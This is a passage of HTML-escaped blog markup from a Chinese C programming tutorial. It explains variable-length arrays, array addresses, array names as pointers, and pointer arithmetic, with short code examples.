class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a1[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a2[i + \u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a3[i + k];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,三个数组的长度都需要运行代码才能知道,编译器并不知道它们的长度,所以它们都是变长数组。\u003c/p\u003e\u003cp\u003e变长数组也可以用于多维数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e m = \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e n = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e c[m][n];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ec[m][n]\u003c/code\u003e就是二维变长数组。\u003c/p\u003e\u003ch3 id=\"数组的地址\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E7%9A%84%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"数组的地址\"\u003e\u003c/a\u003e数组的地址\u003c/h3\u003e\u003cp\u003e数组是一连串连续储存的同类型值,只要获得起始地址(首个成员的内存地址),就能推算出其他成员的地址。请看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u0026amp;a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *p); \u003cspan class=\"comment\"\u003e// Prints \u0026#34;11\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e\u0026amp;a[0]\u003c/code\u003e就是数组\u003ccode\u003ea\u003c/code\u003e的首个成员\u003ccode\u003e11\u003c/code\u003e的内存地址,也是整个数组的起始地址。反过来,从这个地址(\u003ccode\u003e*p\u003c/code\u003e),可以获得首个成员的值\u003ccode\u003e11\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于数组的起始地址是常用操作,\u003ccode\u003e\u0026amp;array[0]\u003c/code\u003e的写法有点麻烦,C 语言提供了便利写法,数组名等同于起始地址,也就是说,数组名就是指向第一个成员(\u003ccode\u003earray[0]\u003c/code\u003e)的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u0026amp;a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e\u0026amp;a[0]\u003c/code\u003e和数组名\u003ccode\u003ea\u003c/code\u003e是等价的。\u003c/p\u003e\u003cp\u003e这样的话,如果把数组名传入一个函数,就等同于传入一个指针变量。在函数内部,就可以通过这个指针变量获得整个数组。\u003c/p\u003e\u003cp\u003e函数接受数组作为参数,函数原型可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[], \u003cspan class=\"type\"\u003eint\u003c/span\u003e len)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,传入一个整数数组,与传入一个整数指针是同一回事,数组符号\u003ccode\u003e[]\u003c/code\u003e与指针符号\u003ccode\u003e*\u003c/code\u003e是可以互换的。下一个例子是通过数组指针对成员求和。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e total = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 假定数组有 10 个成员\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; len; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e total += arr[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e total;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,传入函数的是一个指针\u003ccode\u003earr\u003c/code\u003e(也是数组名)和数组长度,通过指针获取数组的每个成员,从而求和。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e*\u003c/code\u003e和\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符也可以用于多维数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e4\u003c/span\u003e][\u003cspan class=\"number\"\u003e2\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 取出 a[0][0] 的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*(a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e**a\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,由于\u003ccode\u003ea[0]\u003c/code\u003e本身是一个指针,指向第二维数组的第一个成员\u003ccode\u003ea[0][0]\u003c/code\u003e。所以,\u003ccode\u003e*(a[0])\u003c/code\u003e取出的是\u003ccode\u003ea[0][0]\u003c/code\u003e的值。至于\u003ccode\u003e**a\u003c/code\u003e,就是对\u003ccode\u003ea\u003c/code\u003e进行两次\u003ccode\u003e*\u003c/code\u003e运算,第一次取出的是\u003ccode\u003ea[0]\u003c/code\u003e,第二次取出的是\u003ccode\u003ea[0][0]\u003c/code\u003e。同理,二维数组的\u003ccode\u003e\u0026amp;a[0][0]\u003c/code\u003e等同于\u003ccode\u003e*a\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,数组名指向的地址是不能更改的。声明数组时,编译器自动为数组分配了内存地址,这个地址与数组名是绑定的,不可更改,下面的代码会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e ints[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eints = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,重新为数组名赋值,改变原来的内存地址,就会报错。\u003c/p\u003e\u003cp\u003e这也导致不能将一个数组名赋值给另外一个数组名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = a; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = a; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种写法都会更改数组\u003ccode\u003eb\u003c/code\u003e的地址,导致报错。\u003c/p\u003e\u003ch3 id=\"数组指针的加减法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E6%8C%87%E9%92%88%E7%9A%84%E5%8A%A0%E5%87%8F%E6%B3%95\" class=\"headerlink\" title=\"数组指针的加减法\"\u003e\u003c/a\u003e数组指针的加减法\u003c/h3\u003e\u003cp\u003eC 语言里面,数组名可以进行加法和减法运算,等同于在数组成员之间前后移动,即从一个成员的内存地址移动到另一个成员的内存地址。比如,\u003ccode\u003ea + 1\u003c/code\u003e返回下一个成员的地址,\u003ccode\u003ea - 1\u003c/code\u003e返回上一个成员的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *(a + i));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过指针的移动遍历数组,\u003ccode\u003ea + i\u003c/code\u003e的每轮循环每次都会指向下一个成员的地址,\u003ccode\u003e*(a + i)\u003c/code\u003e取出该地址的值,等同于\u003ccode\u003ea[i]\u003c/code\u003e。对于数组的第一个成员,\u003ccode\u003e*(a + 0)\u003c/code\u003e(即\u003ccode\u003e*a\u003c/code\u003e)等同于\u003ccode\u003ea[0]\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于数组名与指针是等价的,所以下面的等式总是成立。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ea[b] == *(a + b)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码给出了数组成员的两种访问方式,一种是使用方括号\u003ccode\u003ea[b]\u003c/code\u003e,另一种是使用指针\u003ccode\u003e*(a + b)\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果指针变量\u003ccode\u003ep\u003c/code\u003e指向数组的一个成员,那么\u003ccode\u003ep++\u003c/code\u003e就相当于指向下一个成员,这种方法常用来遍历数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e, \u003cspan class=\"number\"\u003e999\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (*p != \u003cspan class=\"number\"\u003e999\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过\u003ccode\u003ep++\u003c/code\u003e让变量\u003ccode\u003ep\u003c/code\u003e指向下一个成员。\u003c/p\u003e\u003cp\u003e注意,数组名指向的地址是不能变的,所以上例中,不能直接对\u003ccode\u003ea\u003c/code\u003e进行自增,即\u003ccode\u003ea++\u003c/code\u003e的写法是错的,必须将\u003ccode\u003ea\u003c/code\u003e的地址赋值给指针变量\u003ccode\u003ep\u003c/code\u003e,然后对\u003ccode\u003ep\u003c/code\u003e进行自增。\u003c/p\u003e\u003cp\u003e遍历数组一般都是通过数组长度的比较来实现,但也可以通过数组起始地址和结束地址的比较来实现。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* start, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* end)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e total = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (start \u0026lt; end) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e total += *start;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e total;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e20\u003c/span\u003e, \u003cspan 